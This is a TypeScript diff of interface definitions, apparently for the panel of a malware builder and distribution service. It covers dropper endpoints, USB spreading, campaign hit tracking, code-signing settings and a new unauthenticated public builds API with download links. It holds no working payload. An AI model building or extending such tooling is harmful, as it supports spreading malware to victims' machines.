build_id?: string;
worker_name?: string;
usb_spread?: boolean;
campaign?: string;
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
latency_ms?: number;
}
@@ -155,6 +156,39 @@ export interface BuildRecord {
extra_files?: BuildExtraFile[];
/** When true this build is served by /get and /install.* dropper endpoints */
pinned?: boolean;
/** When true this build appears on unauthenticated public builds API */
public?: boolean;
}
export interface PublicBuildDTO {
id: string;
worker_name: string;
platform: string;
file_name: string;
file_size: number;
bundle_size: number;
download_url: string;
created_at: string;
pinned: boolean;
public: boolean;
}
export interface PublicBuildsResponse {
builds: PublicBuildDTO[];
public_builds_enabled: boolean;
latest_n: number;
}
export interface CampaignHitSummary {
campaign: string;
count: number;
last_hit: string;
}
export interface EmberwakeNotes {
content: string;
updated_at: string;
updated_by: string;
}
/** Alias used in components that deal with forged builds */
@@ -207,6 +241,8 @@ export interface ServerSettings {
sign_cert_thumbprint?: string;
sign_tool_path?: string;
sign_timestamp_url?: string;
public_builds_enabled?: boolean;
public_builds_latest_n?: number;
}
export interface TunnelDefaults {